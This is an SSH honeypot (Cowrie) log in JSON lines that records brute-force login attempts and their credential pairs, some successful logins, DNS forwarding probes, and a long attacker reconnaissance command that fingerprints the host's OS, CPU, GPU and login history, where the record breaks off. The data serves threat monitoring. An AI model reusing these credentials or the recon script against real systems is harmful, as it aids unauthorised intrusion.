{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:01.554187Z","src_ip":"97.74.6.204","session":"742b3063caf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sw1p3!S3cur3#W0rd","message":"login attempt [root/Sw1p3!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:01.757014Z","src_ip":"97.74.6.204","session":"742b3063caf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:02.932251Z","src_ip":"97.74.6.204","session":"742b3063caf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":52904,"dst_ip":"10.17.0.5","dst_port":22,"session":"d839ca1686d9","protocol":"ssh","message":"New connection: 38.93.206.2:52904 (10.17.0.5:22) [session: d839ca1686d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:03.477946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:03.482044Z","src_ip":"38.93.206.2","session":"d839ca1686d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:03.532425Z","src_ip":"38.93.206.2","session":"d839ca1686d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dwayne","message":"login attempt [root/dwayne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:03.689290Z","src_ip":"38.93.206.2","session":"d839ca1686d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:04.741373Z","src_ip":"38.93.206.2","session":"d839ca1686d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":56614,"dst_ip":"10.17.0.5","dst_port":22,"session":"49920047c30c","protocol":"ssh","message":"New connection: 91.92.40.10:56614 (10.17.0.5:22) [session: 49920047c30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:39.766497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:39.812487Z","src_ip":"91.92.40.10","session":"49920047c30c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:39.890381Z","src_ip":"91.92.40.10","session":"49920047c30c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"1234","message":"login attempt [apache/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:40.452524Z","src_ip":"91.92.40.10","session":"49920047c30c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:41.564376Z","src_ip":"91.92.40.10","session":"49920047c30c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":13600,"dst_ip":"159.203.135.109","dst_port":22,"session":"35b4c630f1ea","protocol":"ssh","message":"New connection: 45.148.10.152:13600 (159.203.135.109:22) [session: 35b4c630f1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:18.120280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:18.125004Z","src_ip":"45.148.10.152","session":"35b4c630f1ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:18.208544Z","src_ip":"45.148.10.152","session":"35b4c630f1ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:18.573757Z","src_ip":"45.148.10.152","session":"35b4c630f1ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":9016,"dst_ip":"10.17.0.5","dst_port":22,"session":"abd465ffbff2","protocol":"ssh","message":"New connection: 176.53.159.196:9016 (10.17.0.5:22) [session: abd465ffbff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:43.607183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:43.610123Z","src_ip":"176.53.159.196","session":"abd465ffbff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:43.712371Z","src_ip":"176.53.159.196","session":"abd465ffbff2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:44.016579Z","src_ip":"176.53.159.196","session":"abd465ffbff2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:44.119367Z","session":"abd465ffbff2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:44.221240Z","src_ip":"176.53.159.196","session":"abd465ffbff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:44.324410Z","src_ip":"176.53.159.196","session":"abd465ffbff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":40132,"dst_ip":"159.203.135.109","dst_port":22,"session":"85e81059eb98","protocol":"ssh","message":"New connection: 176.53.159.196:40132 (159.203.135.109:22) [session: 85e81059eb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:49.371360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:49.375544Z","src_ip":"176.53.159.196","session":"85e81059eb98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:49.475804Z","src_ip":"176.53.159.196","session":"85e81059eb98","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:49.776625Z","src_ip":"176.53.159.196","session":"85e81059eb98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:49.881013Z","session":"85e81059eb98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:49.981617Z","src_ip":"176.53.159.196","session":"85e81059eb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:50.085946Z","src_ip":"176.53.159.196","session":"85e81059eb98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":57282,"dst_ip":"10.17.0.5","dst_port":22,"session":"854a962bb0f3","protocol":"ssh","message":"New connection: 91.92.40.176:57282 (10.17.0.5:22) [session: 854a962bb0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:51.860223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:51.865113Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:51.946844Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.195212Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.388448Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f 